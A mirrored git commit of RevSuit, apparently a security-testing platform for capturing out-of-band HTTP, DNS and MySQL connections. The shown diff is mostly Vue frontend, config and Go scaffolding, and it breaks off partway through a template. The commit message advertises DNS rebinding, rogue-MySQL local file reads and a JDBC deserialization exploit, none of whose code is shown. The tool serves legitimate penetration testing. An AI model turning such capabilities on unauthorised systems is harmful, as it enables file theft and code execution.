mirror of
https://github.com/Li4n0/revsuit.git
synced 2026-09-21 22:30:46 +08:00
feat: complete basic functions
Support http,dns and mysql connection. Support custom http, dns response. Support dns rebinding. Support mysql load local files and jdbc deserialize exploit.
This commit is contained in:
+20
@@ -0,0 +1,20 @@
|
|||||||
|
.DS_Store
|
||||||
|
|
||||||
|
# local files
|
||||||
|
qqwry.dat
|
||||||
|
revsuit.db
|
||||||
|
|
||||||
|
# local config
|
||||||
|
config.yaml
|
||||||
|
|
||||||
|
# binary
|
||||||
|
revsuit
|
||||||
|
|
||||||
|
# Editor directories and files
|
||||||
|
.idea
|
||||||
|
.vscode
|
||||||
|
*.suo
|
||||||
|
*.ntvs*
|
||||||
|
*.njsproj
|
||||||
|
*.sln
|
||||||
|
*.sw?
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import "github.com/li4n0/revsuit/internal/cli"
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
cli.Start()
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
version: 4.0
|
||||||
|
addr: :10000
|
||||||
|
token: token
|
||||||
|
database: revsuit.db
|
||||||
|
log_level: debug
|
||||||
|
|
||||||
|
http:
|
||||||
|
ip_header:
|
||||||
|
dns:
|
||||||
|
enable: true
|
||||||
|
mysql:
|
||||||
|
enable: true
|
||||||
|
addr: :3306
|
||||||
|
version_string: 10.4.13-MariaDB-log
|
||||||
|
|
||||||
|
notice:
|
||||||
|
dingtalk: https://oapi.dingtalk.com/robot/send?access_token={token}
|
||||||
|
lark: https://open.feishu.cn/open-apis/bot/v2/hook/{token}
|
||||||
|
weixin: https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={key}
|
||||||
|
slack: https://hooks.slack.com/services/{id}/{token}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
.DS_Store
|
||||||
|
node_modules
|
||||||
|
|
||||||
|
# local env files
|
||||||
|
.env.local
|
||||||
|
.env.*.local
|
||||||
|
|
||||||
|
# Log files
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
|
||||||
|
# Editor directories and files
|
||||||
|
.idea
|
||||||
|
.vscode
|
||||||
|
*.suo
|
||||||
|
*.ntvs*
|
||||||
|
*.njsproj
|
||||||
|
*.sln
|
||||||
|
*.sw?
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
# revsuit-frontend
|
||||||
|
|
||||||
|
## Project setup
|
||||||
|
```
|
||||||
|
npm install
|
||||||
|
```
|
||||||
|
|
||||||
|
### Compiles and hot-reloads for development
|
||||||
|
```
|
||||||
|
npm run serve
|
||||||
|
```
|
||||||
|
|
||||||
|
### Compiles and minifies for production
|
||||||
|
```
|
||||||
|
npm run build
|
||||||
|
```
|
||||||
|
|
||||||
|
### Lints and fixes files
|
||||||
|
```
|
||||||
|
npm run lint
|
||||||
|
```
|
||||||
|
|
||||||
|
### Customize configuration
|
||||||
|
See [Configuration Reference](https://cli.vuejs.org/config/).
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
module.exports = {
|
||||||
|
presets: [
|
||||||
|
'@vue/cli-plugin-babel/preset'
|
||||||
|
]
|
||||||
|
}
|
||||||
Vendored
+1
@@ -0,0 +1 @@
|
|||||||
|
.gray-table-row{background-color:#f5f5f5}#add-rule[data-v-0f53e934],#add-rule[data-v-56172c6c],#add-rule[data-v-d55a8788]{margin-bottom:10px}
|
||||||
Vendored
+1
@@ -0,0 +1 @@
|
|||||||
|
body[data-v-1963d804],html[data-v-1963d804]{height:100%;margin:0}.fade-transform-enter-active[data-v-1963d804],.fade-transform-leave-active[data-v-1963d804]{transition:all .3s;opacity:0}.fade-transform-enter[data-v-1963d804],.fade-transform-leave[data-v-1963d804]{opacity:0}.fade-transform-enter-to[data-v-1963d804]{opacity:0}.ant-menu-item>span>a[data-v-1963d804]{color:hsla(0,0%,100%,.65)}.ant-menu-item-selected>span>a[data-v-1963d804]{color:#fff}#nav[data-v-1963d804]{height:100%}#nav .trigger[data-v-1963d804]{font-size:18px;line-height:64px;padding:0 24px;cursor:pointer;transition:color .3s}#nav .trigger[data-v-1963d804]:hover{color:#1890ff}#nav .logo[data-v-1963d804]{height:32px;background:#0a1d2d;margin:16px;text-align:center;font-size:1.2rem;color:#fff;padding-bottom:5px;border-bottom:2px solid #b6befa}
|
||||||
Vendored
+8
File diff suppressed because one or more lines are too long
Vendored
BIN
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
Vendored
BIN
Binary file not shown.
|
After Width: | Height: | Size: 6.7 KiB |
Vendored
+1
@@ -0,0 +1 @@
|
|||||||
|
<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="icon" href="favicon.ico"><title>revsuit-frontend</title><link href="css/about.css" rel="prefetch"><link href="js/about.js" rel="prefetch"><link href="css/app.css" rel="preload" as="style"><link href="css/chunk-vendors.css" rel="preload" as="style"><link href="js/app.js" rel="preload" as="script"><link href="js/chunk-vendors.js" rel="preload" as="script"><link href="css/chunk-vendors.css" rel="stylesheet"><link href="css/app.css" rel="stylesheet"></head><body><noscript><strong>We're sorry but revsuit-frontend doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><script src="js/chunk-vendors.js"></script><script src="js/app.js"></script></body></html>
|
||||||
Vendored
+2
File diff suppressed because one or more lines are too long
Vendored
+1
File diff suppressed because one or more lines are too long
Vendored
+2
File diff suppressed because one or more lines are too long
Vendored
+1
File diff suppressed because one or more lines are too long
Vendored
+300
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
@@ -0,0 +1,8 @@
|
|||||||
|
package frontend
|
||||||
|
|
||||||
|
import (
|
||||||
|
"embed"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed dist
|
||||||
|
var FS embed.FS
|
||||||
Generated
+27246
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,47 @@
|
|||||||
|
{
|
||||||
|
"name": "revsuit-frontend",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"serve": "vue-cli-service serve",
|
||||||
|
"build": "vue-cli-service build",
|
||||||
|
"lint": "vue-cli-service lint"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"ant-design-vue": "^1.2.4",
|
||||||
|
"axios": "^0.21.1",
|
||||||
|
"core-js": "^3.6.5",
|
||||||
|
"vue": "^2.6.11",
|
||||||
|
"vue-router": "^3.2.0"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@vue/cli-plugin-babel": "~4.5.0",
|
||||||
|
"@vue/cli-plugin-eslint": "~4.5.0",
|
||||||
|
"@vue/cli-plugin-router": "~4.5.0",
|
||||||
|
"@vue/cli-service": "~4.5.0",
|
||||||
|
"babel-eslint": "^10.1.0",
|
||||||
|
"eslint": "^6.7.2",
|
||||||
|
"eslint-plugin-vue": "^6.2.2",
|
||||||
|
"vue-cli-plugin-ant-design": "^1.0.1",
|
||||||
|
"vue-template-compiler": "^2.6.11"
|
||||||
|
},
|
||||||
|
"eslintConfig": {
|
||||||
|
"root": true,
|
||||||
|
"env": {
|
||||||
|
"node": true
|
||||||
|
},
|
||||||
|
"extends": [
|
||||||
|
"plugin:vue/essential",
|
||||||
|
"eslint:recommended"
|
||||||
|
],
|
||||||
|
"parserOptions": {
|
||||||
|
"parser": "babel-eslint"
|
||||||
|
},
|
||||||
|
"rules": {}
|
||||||
|
},
|
||||||
|
"browserslist": [
|
||||||
|
"> 1%",
|
||||||
|
"last 2 versions",
|
||||||
|
"not dead"
|
||||||
|
]
|
||||||
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
@@ -0,0 +1,17 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width,initial-scale=1.0">
|
||||||
|
<link rel="icon" href="<%= BASE_URL %>favicon.ico">
|
||||||
|
<title><%= htmlWebpackPlugin.options.title %></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<noscript>
|
||||||
|
<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
|
||||||
|
</noscript>
|
||||||
|
<div id="app"></div>
|
||||||
|
<!-- built files will be auto injected -->
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
<template>
|
||||||
|
<a-layout id="nav">
|
||||||
|
<a-layout-sider v-model="collapsed" :trigger="null" collapsible>
|
||||||
|
<div class="logo"><b>R</b><span v-if="!collapsed"><b>ev</b>Suit</span></div>
|
||||||
|
<a-menu theme="dark" mode="inline" :selectedKeys="[this.$route.path]" :open-keys.sync='openKeys'>
|
||||||
|
<!-- <a-menu-item key="/">-->
|
||||||
|
<!-- <router-link to="/">-->
|
||||||
|
<!-- <a-icon type="dashboard"/>-->
|
||||||
|
<!-- <span>Dashboard</span>-->
|
||||||
|
<!-- </router-link>-->
|
||||||
|
<!-- </a-menu-item>-->
|
||||||
|
<a-sub-menu key="logs">
|
||||||
|
<span slot="title"><a-icon type="bar-chart"/><span>Logs</span></span>
|
||||||
|
<a-menu-item key="/logs/http">
|
||||||
|
<router-link to="/logs/http">HTTP Logs</router-link>
|
||||||
|
</a-menu-item>
|
||||||
|
<a-menu-item key="/logs/dns">
|
||||||
|
<router-link to="/logs/dns">DNS Logs</router-link>
|
||||||
|
</a-menu-item>
|
||||||
|
<a-menu-item key="/logs/mysql">
|
||||||
|
<router-link to="/logs/mysql">MySQL Logs</router-link>
|
||||||
|
</a-menu-item>
|
||||||
|
</a-sub-menu>
|
||||||
|
<a-sub-menu key="rules">
|
||||||
|
<span slot="title"><a-icon type="radar-chart"/><span>Rules</span></span>
|
||||||
|
<a-menu-item key="/rules/http">
|
||||||
|
<router-link to="/rules/http">HTTP Rules</router-link>
|
||||||
|
</a-menu-item>
|
||||||
|
<a-menu-item key="/rules/dns">
|
||||||
|
<router-link to="/rules/dns">DNS Rules</router-link>
|
||||||
|
</a-menu-item>
|
||||||
|
<a-menu-item key="/rules/mysql">
|
||||||
|
<router-link to="/rules/mysql">MySQL Rules</router-link>
|
||||||
|
</a-menu-item>
|
||||||
|
</a-sub-menu>
|
||||||
|
</a-menu>
|
||||||
|
</a-layout-sider>
|
||||||
|
<a-layout>
|
||||||
|
<a-layout-header style="background: #fff; padding: 0">
|
||||||
|
<a-icon
|
||||||
|
class="trigger"
|
||||||
|
:type="collapsed ? 'menu-unfold' : 'menu-fold'"
|
||||||
|
@click="() => (collapsed = !collapsed)"
|
||||||
|
/>
|
||||||
|
</a-layout-header>
|
||||||
|
<a-layout-content
|
||||||
|
:style="{ margin: '24px 16px', padding: '24px', borderRadius: '20px',background: '#fff', minHeight: 'initial' }"
|
||||||
|
>
|
||||||
|
<transition name="fade-transform">
|
||||||
|
<router-view></router-view>
|
||||||
|
</transition>
|
||||||
|
</a-layout-content>
|
||||||
|
</a-layout>
|
||||||
|
<Auth></Auth>
|
||||||
|
</a-layout>
|
||||||
|
</template>
|
||||||
|
<script>
|
||||||
|
import Auth from '@/components/Auth'
|
||||||
|
|
||||||
|
export default {
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
collapsed: false,
|
||||||
|
openKeys: ['logs', "rules"],
|
||||||
|
};
|
||||||
|
},
|
||||||
|
components: {
|
||||||
|
Auth
|
||||||
|
}
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
<style scoped>
|
||||||
|
html, body {
|
||||||
|
height: 100%;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* fade-transform */
|
||||||
|
.fade-transform-leave-active,
|
||||||
|
.fade-transform-enter-active {
|
||||||
|
transition: all .3s;
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fade-transform-enter {
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fade-transform-leave {
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fade-transform-leave-to {
|
||||||
|
}
|
||||||
|
|
||||||
|
.fade-transform-enter-to {
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ant-menu-item > span > a {
|
||||||
|
color: rgba(255, 255, 255, 0.65);
|
||||||
|
}
|
||||||
|
|
||||||
|
.ant-menu-item-selected > span > a {
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
#nav {
|
||||||
|
height: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
#nav .trigger {
|
||||||
|
font-size: 18px;
|
||||||
|
line-height: 64px;
|
||||||
|
padding: 0 24px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
#nav .trigger:hover {
|
||||||
|
color: #1890ff;
|
||||||
|
}
|
||||||
|
|
||||||
|
#nav .logo {
|
||||||
|
height: 32px;
|
||||||
|
background: #0a1d2d;
|
||||||
|
margin: 16px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 1.2rem;
|
||||||
|
color: white;
|
||||||
|
padding-bottom: 5px;
|
||||||
|
border-bottom: 2px solid #b6befa;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
import axios from 'axios'
|
||||||
|
|
||||||
|
const service = axios.create({
|
||||||
|
baseURL: '/revsuit/api/', // api的base_url
|
||||||
|
timeout: 5000 // request timeout
|
||||||
|
})
|
||||||
|
|
||||||
|
service.interceptors.request.use(function (config) {
|
||||||
|
const token = localStorage.getItem("token")
|
||||||
|
if (token !== null) {
|
||||||
|
config.headers['Token'] = token
|
||||||
|
}
|
||||||
|
// 在发送请求之前做些什么
|
||||||
|
return config
|
||||||
|
})
|
||||||
|
|
||||||
|
export default service
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
import request from './index'
|
||||||
|
|
||||||
|
export function ping() {
|
||||||
|
return request({
|
||||||
|
url: '/ping',
|
||||||
|
method: 'get',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
import request from './index'
|
||||||
|
|
||||||
|
export function getHttpRecord(params) {
|
||||||
|
return request({
|
||||||
|
url: '/record/http',
|
||||||
|
params: params,
|
||||||
|
method: 'get',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getDnsRecord(params) {
|
||||||
|
return request({
|
||||||
|
url: '/record/dns',
|
||||||
|
params: params,
|
||||||
|
method: 'get',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getMysqlRecord(params) {
|
||||||
|
return request({
|
||||||
|
url: '/record/mysql',
|
||||||
|
params: params,
|
||||||
|
method: 'get',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
import request from './index'
|
||||||
|
|
||||||
|
export function getHttpRule(params) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/http',
|
||||||
|
params: params,
|
||||||
|
method: 'get',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function upsertHttpRule(data) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/http',
|
||||||
|
data: data,
|
||||||
|
method: 'post',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
export function deleteHttpRule(data) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/http',
|
||||||
|
data: data,
|
||||||
|
method: 'delete',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getDnsRule(params) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/dns',
|
||||||
|
params: params,
|
||||||
|
method: 'get',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function upsertDnsRule(data) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/dns',
|
||||||
|
data: data,
|
||||||
|
method: 'post',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function deleteDnsRule(data) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/dns',
|
||||||
|
data: data,
|
||||||
|
method: 'delete',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getMysqlRule(params) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/mysql',
|
||||||
|
params: params,
|
||||||
|
method: 'get',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function upsertMysqlRule(data) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/mysql',
|
||||||
|
data: data,
|
||||||
|
method: 'post',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function deleteMysqlRule(data) {
|
||||||
|
return request({
|
||||||
|
url: '/rule/mysql',
|
||||||
|
data: data,
|
||||||
|
method: 'delete',
|
||||||
|
validateStatus: function (status) {
|
||||||
|
return status >= 200 && status < 300 // 默认的
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 6.7 KiB |
@@ -0,0 +1,63 @@
|
|||||||
|
<template>
|
||||||
|
<div>
|
||||||
|
<a-modal
|
||||||
|
title="Auth with token"
|
||||||
|
:visible="visible"
|
||||||
|
:confirm-loading="confirmLoading"
|
||||||
|
@cancel="cancel"
|
||||||
|
@ok="auth"
|
||||||
|
>
|
||||||
|
<a-input v-model.lazy="token" placeholder="Your token"/>
|
||||||
|
</a-modal>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
<script>
|
||||||
|
import {store} from "@/main";
|
||||||
|
import {ping} from "@/api/ping"
|
||||||
|
|
||||||
|
export default {
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
confirmLoading: false,
|
||||||
|
token: localStorage.getItem("token")
|
||||||
|
};
|
||||||
|
},
|
||||||
|
computed: {
|
||||||
|
visible: function () {
|
||||||
|
return !store.authed
|
||||||
|
},
|
||||||
|
},
|
||||||
|
watch: {
|
||||||
|
token: function (val) {
|
||||||
|
localStorage.setItem("token", val)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
auth() {
|
||||||
|
this.confirmLoading = true;
|
||||||
|
ping().then(() => {
|
||||||
|
store.authed = true;
|
||||||
|
this.confirmLoading = false;
|
||||||
|
}).catch(e => {
|
||||||
|
if (e.response.status === 403) {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Wrong token',
|
||||||
|
description:
|
||||||
|
'Your token is wrong, please check your server config file.',
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 2.5
|
||||||
|
});
|
||||||
|
}
|
||||||
|
this.confirmLoading = false;
|
||||||
|
})
|
||||||
|
|
||||||
|
},
|
||||||
|
cancel() {
|
||||||
|
store.authed = true;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
};
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
<template>
|
||||||
|
<div>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item label="Name" :rules="rules.name" prop="name">
|
||||||
|
<a-input v-model="form.name"
|
||||||
|
placeholder="Please enter rule name"
|
||||||
|
:readOnly="readOnly"
|
||||||
|
/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item :rules="rules.flagFormat" prop="flag_format">
|
||||||
|
<span slot="label">
|
||||||
|
Flag Format
|
||||||
|
<a-tooltip title="1. Only when the request contains content that satisfies the flag format, the request will be captured.
|
||||||
|
2. Please use regular expression syntax.
|
||||||
|
3. The character '*' means to capture all requests.
|
||||||
|
4. Advanced usage: When the format uses grouping, the platform will only notify the user or push to the client when the first group appears for the first time.">
|
||||||
|
<a-icon type="question-circle-o"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</span>
|
||||||
|
<a-input
|
||||||
|
v-model="form.flag_format"
|
||||||
|
style="width: 100%"
|
||||||
|
placeholder="please enter flag format"
|
||||||
|
:readOnly="readOnly"
|
||||||
|
/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item prop="rank">
|
||||||
|
<span slot="label">
|
||||||
|
Rank
|
||||||
|
<a-tooltip title="When request match multiple rules, high-rank rules will be matched first">
|
||||||
|
<a-icon type="question-circle-o"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</span>
|
||||||
|
<a-input-number style="width: 100%"
|
||||||
|
v-model="form.rank"
|
||||||
|
v-decorator="['rank']"
|
||||||
|
:disabled="readOnly"
|
||||||
|
placeholder="0"
|
||||||
|
>
|
||||||
|
</a-input-number>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
<a-row :gutter="16">
|
||||||
|
<a-col :span="12">
|
||||||
|
<a-form-model-item>
|
||||||
|
<div class="ant-form-item-label">
|
||||||
|
<label for="push-to-client">Push to Client
|
||||||
|
<a-tooltip placement="topLeft" title="Whether push to client when capture flag with this rule.">
|
||||||
|
<a-icon type="question-circle"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<a-switch v-model="form.push_to_client" id="push-to-client" :disabled="readOnly"/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
<a-col :span="12">
|
||||||
|
<a-form-model-item>
|
||||||
|
<div class="ant-form-item-label">
|
||||||
|
<label for="notice">Notice
|
||||||
|
<a-tooltip placement="topLeft" title="Whether notice with bot when capture flag with this rule.">
|
||||||
|
<a-icon type="question-circle"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<a-switch v-model="form.notice" id="notice" :disabled="readOnly"/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
export default {
|
||||||
|
name: "BasicRule",
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
rules: {
|
||||||
|
name: [
|
||||||
|
{required: true, message: 'Please input rule name', trigger: 'blur'},
|
||||||
|
],
|
||||||
|
flagFormat: [
|
||||||
|
{required: true, message: 'Please input flag format', trigger: 'blur'},
|
||||||
|
]
|
||||||
|
},
|
||||||
|
}
|
||||||
|
},
|
||||||
|
props: ['form', 'readOnly']
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
|
||||||
|
</style>
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
import Vue from 'vue';
|
||||||
|
import Antd from 'ant-design-vue';
|
||||||
|
import App from './App';
|
||||||
|
import router from "@/router";
|
||||||
|
import 'ant-design-vue/dist/antd.css';
|
||||||
|
import '@/utils/index'
|
||||||
|
|
||||||
|
Vue.config.productionTip = false;
|
||||||
|
|
||||||
|
Vue.use(Antd);
|
||||||
|
export const store = Vue.observable({authed: localStorage.getItem("token")})
|
||||||
|
/* eslint-disable no-new */
|
||||||
|
new Vue({
|
||||||
|
router: router,
|
||||||
|
render: h => h(App)
|
||||||
|
}).$mount('#app')
|
||||||
|
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
import Vue from 'vue'
|
||||||
|
import Antd from 'ant-design-vue'
|
||||||
|
import 'ant-design-vue/dist/antd.css'
|
||||||
|
Vue.use(Antd)
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
import Vue from 'vue'
|
||||||
|
import VueRouter from 'vue-router'
|
||||||
|
import Home from '../views/Home.vue'
|
||||||
|
|
||||||
|
Vue.use(VueRouter)
|
||||||
|
|
||||||
|
const routes = [
|
||||||
|
{
|
||||||
|
path: '/',
|
||||||
|
name: 'Home',
|
||||||
|
component: Home
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/logs/http',
|
||||||
|
name: 'HttpLogs',
|
||||||
|
component: () => import(/* webpackChunkName: "about" */ '../views/logs/Http')
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/logs/dns',
|
||||||
|
name: 'DnsLogs',
|
||||||
|
component: () => import(/* webpackChunkName: "about" */ '../views/logs/Dns')
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/logs/mysql',
|
||||||
|
name: 'MysqlLogs',
|
||||||
|
component: () => import(/* webpackChunkName: "about" */ '../views/logs/Mysql')
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/rules/http',
|
||||||
|
name: 'HttpRules',
|
||||||
|
component: () => import(/* webpackChunkName: "about" */ '../views/rules/Http')
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/rules/dns',
|
||||||
|
name: 'DnsRules',
|
||||||
|
component: () => import(/* webpackChunkName: "about" */ '../views/rules/Dns')
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/rules/mysql',
|
||||||
|
name: 'MysqlRules',
|
||||||
|
component: () => import(/* webpackChunkName: "about" */ '../views/rules/Mysql')
|
||||||
|
}
|
||||||
|
]
|
||||||
|
|
||||||
|
const router = new VueRouter({
|
||||||
|
routes
|
||||||
|
})
|
||||||
|
|
||||||
|
export default router
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
Date.prototype.format = function (fmt) {
|
||||||
|
var o = {
|
||||||
|
"M+": this.getMonth() + 1, //月份
|
||||||
|
"d+": this.getDate(), //日
|
||||||
|
"h+": this.getHours(), //小时
|
||||||
|
"m+": this.getMinutes(), //分
|
||||||
|
"s+": this.getSeconds(), //秒
|
||||||
|
"q+": Math.floor((this.getMonth() + 3) / 3), //季度
|
||||||
|
"S": this.getMilliseconds() //毫秒
|
||||||
|
};
|
||||||
|
if (/(y+)/.test(fmt)) {
|
||||||
|
fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
|
||||||
|
}
|
||||||
|
for (var k in o) {
|
||||||
|
if (new RegExp("(" + k + ")").test(fmt)) {
|
||||||
|
fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return fmt;
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
<template>
|
||||||
|
<div class="home">
|
||||||
|
<img alt="Vue logo" src="../assets/logo.png">
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// @ is an alias to /src
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'Home',
|
||||||
|
components: {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,174 @@
|
|||||||
|
<template>
|
||||||
|
<a-table
|
||||||
|
:columns="columns"
|
||||||
|
:data-source="data"
|
||||||
|
:loading="loading"
|
||||||
|
:pagination="pagination"
|
||||||
|
@change="handleTableChange"
|
||||||
|
:rowClassName="(record, index) => index % 2 === 0 ? '' : 'gray-table-row'"
|
||||||
|
>
|
||||||
|
<div
|
||||||
|
slot="filterDropdown"
|
||||||
|
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
|
||||||
|
style="padding: 8px"
|
||||||
|
>
|
||||||
|
<a-input
|
||||||
|
:placeholder="`Search ${column.dataIndex}`"
|
||||||
|
:value="selectedKeys[0]"
|
||||||
|
style="width: 188px; margin-bottom: 8px; display: block;"
|
||||||
|
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
|
||||||
|
@pressEnter="() => {
|
||||||
|
filters[column.dataIndex] = selectedKeys[0];
|
||||||
|
fetch()
|
||||||
|
}"
|
||||||
|
/>
|
||||||
|
<a-button
|
||||||
|
type="primary"
|
||||||
|
